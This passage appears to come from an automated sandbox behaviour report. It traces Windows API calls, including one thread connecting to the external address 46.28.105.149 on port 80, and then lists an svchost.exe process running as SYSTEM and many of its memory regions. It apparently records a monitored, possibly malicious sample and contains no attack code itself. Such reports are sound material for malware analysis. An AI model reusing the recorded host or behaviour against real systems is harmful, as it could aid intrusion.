	[0098.570] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0098.635] Sleep (dwMilliseconds=0x0) 
	[0098.636] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0105.598] Sleep (dwMilliseconds=0x0) 
	[0105.598] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0105.606] Sleep (dwMilliseconds=0x0) 
	[0105.606] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0106.651] Sleep (dwMilliseconds=0x0) 
	[0106.651] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0118.431] Sleep (dwMilliseconds=0x0) 
	[0118.431] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0118.459] Sleep (dwMilliseconds=0x0) 
	[0118.459] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) 

Thread:
	id = 44
	os_tid = 0xcfc


Thread:
	id = 45
	os_tid = 0xcec


Thread:
	id = 46
	os_tid = 0xcf4


Thread:
	id = 112
	os_tid = 0xce8

	[0111.326] htons (hostshort=0x50) returned 0x5000
	[0111.326] GetProcAddressForCaller () returned 0x779433a0
	[0111.326] connect (s=0x478, name=0x8eafee8*(sa_family=2, sin_port=0x50, sin_addr="46.28.105.149"), namelen=16) returned 0
	[0112.235] getsockname (in: s=0x478, name=0x8eafed8, namelen=0x8eafee8 | out: name=0x8eafed8*(sa_family=2, sin_port=0xc110, sin_addr="192.168.0.204"), namelen=0x8eafee8) returned 0
	[0112.236] htons (hostshort=0x10c1) returned 0xc110
	[0112.236] GetProcAddressForCaller () returned 0x779412c0
	[0112.236] getpeername (in: s=0x478, name=0x8eafed8, namelen=0x8eafee8 | out: name=0x8eafed8*(sa_family=2, sin_port=0x50, sin_addr="46.28.105.149"), namelen=0x8eafee8) returned 0
	[0112.236] htons (hostshort=0x5000) returned 0x50
	[0112.236] SetEvent (hEvent=0x1a4) returned 1
	[0112.236] NtQueryInformationThread (in: ThreadHandle=0xfffffffe, ThreadInformationClass=0xc, ThreadInformation=0x8eaff44, ThreadInformationLength=0x4, ReturnLength=0x0 | out: ThreadInformation=0x8eaff44, ReturnLength=0x0) returned 0x0
	[0112.236] LdrShutdownThread () returned 0x7fe61000
	[0112.236] TpCheckTerminateWorker () returned 0x8eaff24
	[0112.236] NtTerminateThread (ThreadHandle=0x0, ExitStatus=0x0) 

Process:
	id = "4"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x54043000"
	os_pid = "0x378"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "3"
	os_parent_pid = "0xcd0"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e0e3" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 722
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 723
	        start_va = 0x51e5e10000
	          end_va = 0x51e5e1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e5e10000"
	        filename = ""

Region:
	              id = 724
	        start_va = 0x51e5e20000
	          end_va = 0x51e5e20fff
	     entry_point = 0x51e5e20000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 725
	        start_va = 0x51e5e30000
	          end_va = 0x51e5e43fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e5e30000"
	        filename = ""

Region:
	              id = 726
	        start_va = 0x51e5e50000
	          end_va = 0x51e5ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e5e50000"
	        filename = ""

Region:
	              id = 727
	        start_va = 0x51e5ed0000
	          end_va = 0x51e5ed3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e5ed0000"
	        filename = ""

Region:
	              id = 728
	        start_va = 0x51e5ee0000
	          end_va = 0x51e5ee0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e5ee0000"
	        filename = ""

Region:
	              id = 729
	        start_va = 0x51e5ef0000
	          end_va = 0x51e5ef1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e5ef0000"
	        filename = ""

Region:
	              id = 730
	        start_va = 0x51e5f00000
	          end_va = 0x51e5fbdfff
	     entry_point = 0x51e5f00000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 731
	        start_va = 0x51e5fc0000
	          end_va = 0x51e5fc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e5fc0000"
	        filename = ""

Region:
	              id = 732
	        start_va = 0x51e5fd0000
	          end_va = 0x51e5fd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e5fd0000"
	        filename = ""

Region:
	              id = 733
	        start_va = 0x51e5fe0000
	          end_va = 0x51e5fe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e5fe0000"
	        filename = ""

Region:
	              id = 734
	        start_va = 0x51e5ff0000
	          end_va = 0x51e5ff0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e5ff0000"
	        filename = ""

Region:
	              id = 735
	        start_va = 0x51e6000000
	          end_va = 0x51e60fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6000000"
	        filename = ""

Region:
	              id = 736
	        start_va = 0x51e6100000
	          end_va = 0x51e617ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6100000"
	        filename = ""

Region:
	              id = 737
	        start_va = 0x51e6180000
	          end_va = 0x51e6180fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e6180000"
	        filename = ""

Region:
	              id = 738
	        start_va = 0x51e6190000
	          end_va = 0x51e6190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e6190000"
	        filename = ""

Region:
	              id = 739
	        start_va = 0x51e61a0000
	          end_va = 0x51e61a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e61a0000"
	        filename = ""

Region:
	              id = 740
	        start_va = 0x51e61b0000
	          end_va = 0x51e61b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e61b0000"
	        filename = ""

Region:
	              id = 741
	        start_va = 0x51e61c0000
	          end_va = 0x51e61c3fff
	     entry_point = 0x51e61c0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 742
	        start_va = 0x51e61d0000
	          end_va = 0x51e61d3fff
	     entry_point = 0x51e61d0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 743
	        start_va = 0x51e61e0000
	          end_va = 0x51e61e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e61e0000"
	        filename = ""

Region:
	              id = 744
	        start_va = 0x51e61f0000
	          end_va = 0x51e61fcfff
	     entry_point = 0x51e61f0000
	     region_type = mapped_file
	            name = "iphlpsvc.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui")

Region:
	              id = 745
	        start_va = 0x51e6200000
	          end_va = 0x51e62fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6200000"
	        filename = ""

Region:
	              id = 746
	        start_va = 0x51e6300000
	          end_va = 0x51e6487fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e6300000"
	        filename = ""

Region:
	              id = 747
	        start_va = 0x51e6490000
	          end_va = 0x51e6610fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e6490000"
	        filename = ""

Region:
	              id = 748
	        start_va = 0x51e6620000
	          end_va = 0x51e66dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e6620000"
	        filename = ""

Region:
	              id = 749
	        start_va = 0x51e66e0000
	          end_va = 0x51e675ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e66e0000"
	        filename = ""

Region:
	              id = 750
	        start_va = 0x51e6760000
	          end_va = 0x51e67dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6760000"
	        filename = ""

Region:
	              id = 751
	        start_va = 0x51e67e0000
	          end_va = 0x51e68dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e67e0000"
	        filename = ""

Region:
	              id = 752
	        start_va = 0x51e68e0000
	          end_va = 0x51e69dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e68e0000"
	        filename = ""

Region:
	              id = 753
	        start_va = 0x51e69e0000
	          end_va = 0x51e6adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e69e0000"
	        filename = ""

Region:
	              id = 754
	        start_va = 0x51e6ae0000
	          end_va = 0x51e6b22fff
	     entry_point = 0x51e6ae0000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000b.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000b.db")

Region:
	              id = 755
	        start_va = 0x51e6b30000
	          end_va = 0x51e6b40fff
	     entry_point = 0x51e6b30000
	     region_type = mapped_file
	            name = "propsys.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui")

Region:
	              id = 756
	        start_va = 0x51e6b50000
	          end_va = 0x51e6b56fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6b50000"
	        filename = ""

Region:
	              id = 757
	        start_va = 0x51e6b60000
	          end_va = 0x51e6bdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6b60000"
	        filename = ""

Region:
	              id = 758
	        start_va = 0x51e6be0000
	          end_va = 0x51e6be1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e6be0000"
	        filename = ""

Region:
	              id = 759
	        start_va = 0x51e6bf0000
	          end_va = 0x51e6bfcfff
	     entry_point = 0x51e6bf0000
	     region_type = mapped_file
	            name = "gpsvc.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui")

Region:
	              id = 760
	        start_va = 0x51e6c00000
	          end_va = 0x51e6cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e6c00000"
	        filename = ""

Region:
	              id = 761
	        start_va = 0x51e6d00000
	          end_va = 0x51e7036fff
	     entry_point = 0x51e6d00000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 762
	        start_va = 0x51e7040000
	          end_va = 0x51e713ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7040000"
	        filename = ""

Region:
	              id = 763
	        start_va = 0x51e7140000
	          end_va = 0x51e723ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7140000"
	        filename = ""

Region:
	              id = 764
	        start_va = 0x51e7240000
	          end_va = 0x51e733ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7240000"
	        filename = ""

Region:
	              id = 765
	        start_va = 0x51e7340000
	          end_va = 0x51e743ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7340000"
	        filename = ""

Region:
	              id = 766
	        start_va = 0x51e7440000
	          end_va = 0x51e74bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7440000"
	        filename = ""

Region:
	              id = 767
	        start_va = 0x51e74c0000
	          end_va = 0x51e74c8fff
	     entry_point = 0x51e74c0000
	     region_type = mapped_file
	            name = "vsstrace.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui")

Region:
	              id = 768
	        start_va = 0x51e74d0000
	          end_va = 0x51e74d6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e74d0000"
	        filename = ""

Region:
	              id = 769
	        start_va = 0x51e74e0000
	          end_va = 0x51e74e1fff
	     entry_point = 0x51e74e0000
	     region_type = mapped_file
	            name = "activeds.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui")

Region:
	              id = 770
	        start_va = 0x51e74f0000
	          end_va = 0x51e74f4fff
	     entry_point = 0x51e74f0000
	     region_type = mapped_file
	            name = "winnlsres.dll"
	        filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll")

Region:
	              id = 771
	        start_va = 0x51e7500000
	          end_va = 0x51e75fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7500000"
	        filename = ""

Region:
	              id = 772
	        start_va = 0x51e7600000
	          end_va = 0x51e76fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7600000"
	        filename = ""

Region:
	              id = 773
	        start_va = 0x51e7700000
	          end_va = 0x51e777ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7700000"
	        filename = ""

Region:
	              id = 774
	        start_va = 0x51e7780000
	          end_va = 0x51e787ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7780000"
	        filename = ""

Region:
	              id = 775
	        start_va = 0x51e7880000
	          end_va = 0x51e797ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7880000"
	        filename = ""

Region:
	              id = 776
	        start_va = 0x51e7980000
	          end_va = 0x51e7a7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7980000"
	        filename = ""

Region:
	              id = 777
	        start_va = 0x51e7a80000
	          end_va = 0x51e7afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7a80000"
	        filename = ""

Region:
	              id = 778
	        start_va = 0x51e7b00000
	          end_va = 0x51e7bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7b00000"
	        filename = ""

Region:
	              id = 779
	        start_va = 0x51e7c00000
	          end_va = 0x51e7c8afff
	     entry_point = 0x51e7c00000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")

Region:
	              id = 780
	        start_va = 0x51e7c90000
	          end_va = 0x51e7d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7c90000"
	        filename = ""

Region:
	              id = 781
	        start_va = 0x51e7d90000
	          end_va = 0x51e7e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7d90000"
	        filename = ""

Region:
	              id = 782
	        start_va = 0x51e7e90000
	          end_va = 0x51e7f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e7e90000"
	        filename = ""

Region:
	              id = 783
	        start_va = 0x51e7fb0000
	          end_va = 0x51e7fb0fff
	     entry_point = 0x51e7fb0000
	     region_type = mapped_file
	            name = "dosvc.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui")

Region:
	              id = 784
	        start_va = 0x51e7fd0000
	          end_va = 0x51e7fd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e7fd0000"
	        filename = ""

Region:
	              id = 785
	        start_va = 0x51e7fe0000
	          end_va = 0x51e7feffff
	     entry_point = 0x51e7fe0000
	     region_type = mapped_file
	            name = "winnlsres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui")

Region:
	              id = 786
	        start_va = 0x51e7ff0000
	          end_va = 0x51e7ff2fff
	     entry_point = 0x51e7ff0000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")

Region:
	              id = 787
	        start_va = 0x51e8010000
	          end_va = 0x51e8010fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8010000"
	        filename = ""

Region:
	              id = 788
	        start_va = 0x51e8020000
	          end_va = 0x51e8022fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8020000"
	        filename = ""

Region:
	              id = 789
	        start_va = 0x51e8030000
	          end_va = 0x51e8030fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8030000"
	        filename = ""

Region:
	              id = 790
	        start_va = 0x51e8040000
	          end_va = 0x51e8040fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8040000"
	        filename = ""

Region:
	              id = 791
	        start_va = 0x51e8050000
	          end_va = 0x51e80cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8050000"
	        filename = ""

Region:
	              id = 792
	        start_va = 0x51e8110000
	          end_va = 0x51e820ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8110000"
	        filename = ""

Region:
	              id = 793
	        start_va = 0x51e8290000
	          end_va = 0x51e838ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8290000"
	        filename = ""

Region:
	              id = 794
	        start_va = 0x51e8390000
	          end_va = 0x51e848ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8390000"
	        filename = ""

Region:
	              id = 795
	        start_va = 0x51e8490000
	          end_va = 0x51e850ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8490000"
	        filename = ""

Region:
	              id = 796
	        start_va = 0x51e8510000
	          end_va = 0x51e860ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8510000"
	        filename = ""

Region:
	              id = 797
	        start_va = 0x51e8630000
	          end_va = 0x51e8636fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8630000"
	        filename = ""

Region:
	              id = 798
	        start_va = 0x51e8700000
	          end_va = 0x51e87fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8700000"
	        filename = ""

Region:
	              id = 799
	        start_va = 0x51e8800000
	          end_va = 0x51e88fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8800000"
	        filename = ""

Region:
	              id = 800
	        start_va = 0x51e8900000
	          end_va = 0x51e89fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8900000"
	        filename = ""

Region:
	              id = 801
	        start_va = 0x51e8a80000
	          end_va = 0x51e8b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8a80000"
	        filename = ""

Region:
	              id = 802
	        start_va = 0x51e8c00000
	          end_va = 0x51e8c7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8c00000"
	        filename = ""

Region:
	              id = 803
	        start_va = 0x51e8c80000
	          end_va = 0x51e8d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8c80000"
	        filename = ""

Region:
	              id = 804
	        start_va = 0x51e8e00000
	          end_va = 0x51e8e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8e00000"
	        filename = ""

Region:
	              id = 805
	        start_va = 0x51e8f00000
	          end_va = 0x51e8ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8f00000"
	        filename = ""

Region:
	              id = 806
	        start_va = 0x51e9000000
	          end_va = 0x51e90fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9000000"
	        filename = ""

Region:
	              id = 807
	        start_va = 0x51e9100000
	          end_va = 0x51e917ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9100000"
	        filename = ""

Region:
	              id = 808
	        start_va = 0x51e9180000
	          end_va = 0x51e91fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9180000"
	        filename = ""

Region:
	              id = 809
	        start_va = 0x51e9200000
	          end_va = 0x51e92fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9200000"
	        filename = ""

Region:
	              id = 810
	        start_va = 0x51e9300000
	          end_va = 0x51e93fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9300000"
	        filename = ""

Region:
	              id = 811
	        start_va = 0x51e9400000
	          end_va = 0x51e94fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9400000"
	        filename = ""

Region:
	              id = 812
	        start_va = 0x51e9500000
	          end_va = 0x51e95fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9500000"
	        filename = ""

Region:
	              id = 813
	        start_va = 0x51e9600000
	          end_va = 0x51e96fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9600000"
	        filename = ""

Region:
	              id = 814
	        start_va = 0x51e9700000
	          end_va = 0x51e97fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9700000"
	        filename = ""

Region:
	              id = 815
	        start_va = 0x51e9800000
	          end_va = 0x51e98fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9800000"
	        filename = ""

Region:
	              id = 816
	        start_va = 0x51e9900000
	          end_va = 0x51e99fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9900000"
	        filename = ""

Region:
	              id = 817
	        start_va = 0x51e9a00000
	          end_va = 0x51e9afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9a00000"
	        filename = ""

Region:
	              id = 818
	        start_va = 0x51e9b00000
	          end_va = 0x51e9bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9b00000"
	        filename = ""

Region:
	              id = 819
	        start_va = 0x51e9c00000
	          end_va = 0x51e9cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9c00000"
	        filename = ""

Region:
	              id = 820
	        start_va = 0x51e9d00000
	          end_va = 0x51e9dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9d00000"
	        filename = ""

Region:
	              id = 821
	        start_va = 0x51e9e00000
	          end_va = 0x51e9efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9e00000"
	        filename = ""

Region:
	              id = 822
	        start_va = 0x51e9f00000
	          end_va = 0x51e9fdefff
	     entry_point = 0x51e9f00000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 823
	        start_va = 0x51e9fe0000
	          end_va = 0x51ea0dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e9fe0000"
	        filename = ""

Region:
	              id = 824
	        start_va = 0x51ea0e0000
	          end_va = 0x51ea15ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea0e0000"
	        filename = ""

Region:
	              id = 825
	        start_va = 0x51ea170000
	          end_va = 0x51ea176fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea170000"
	        filename = ""

Region:
	              id = 826
	        start_va = 0x51ea180000
	          end_va = 0x51ea27ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea180000"
	        filename = ""

Region:
	              id = 827
	        start_va = 0x51ea300000
	          end_va = 0x51ea3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea300000"
	        filename = ""

Region:
	              id = 828
	        start_va = 0x51ea400000
	          end_va = 0x51ea4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea400000"
	        filename = ""

Region:
	              id = 829
	        start_va = 0x51ea700000
	          end_va = 0x51ea7fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea700000"
	        filename = ""

Region:
	              id = 830
	        start_va = 0x51ea800000
	          end_va = 0x51ea8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea800000"
	        filename = ""

Region:
	              id = 831
	        start_va = 0x51ea900000
	          end_va = 0x51ea9fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea900000"
	        filename = ""

Region:
	              id = 832
	        start_va = 0x51eaa00000
	          end_va = 0x51eaafffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eaa00000"
	        filename = ""

Region:
	              id = 833
	        start_va = 0x51eab00000
	          end_va = 0x51eabfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eab00000"
	        filename = ""

Region:
	              id = 834
	        start_va = 0x51eac00000
	          end_va = 0x51eacfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eac00000"
	        filename = ""

Region:
	              id = 835
	        start_va = 0x51ead00000
	          end_va = 0x51eadfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ead00000"
	        filename = ""

Region:
	              id = 836
	        start_va = 0x51eb000000
	          end_va = 0x51eb0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb000000"
	        filename = ""

Region:
	              id = 837
	        start_va = 0x51eb130000
	          end_va = 0x51eb136fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb130000"
	        filename = ""

Region:
	              id = 838
	        start_va = 0x51eb1c0000
	          end_va = 0x51eb1c6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb1c0000"
	        filename = ""

Region:
	              id = 839
	        start_va = 0x51eb200000
	          end_va = 0x51eb2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb200000"
	        filename = ""

Region:
	              id = 840
	        start_va = 0x51eba00000
	          end_va = 0x51ebafffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eba00000"
	        filename = ""

Region:
	              id = 841
	        start_va = 0x51ebb00000
	          end_va = 0x51ebbfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ebb00000"
	        filename = ""

Region:
	              id = 842
	        start_va = 0x51ebd00000
	          end_va = 0x51ebdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ebd00000"
	        filename = ""

Region:
	              id = 843
	        start_va = 0x51ec300000
	          end_va = 0x51ec3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ec300000"
	        filename = ""

Region:
	              id = 844
	        start_va = 0x51ece00000
	          end_va = 0x51ecefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ece00000"
	        filename = ""

Region:
	              id = 845
	        start_va = 0x51ecf00000
	          end_va = 0x51ecffffff
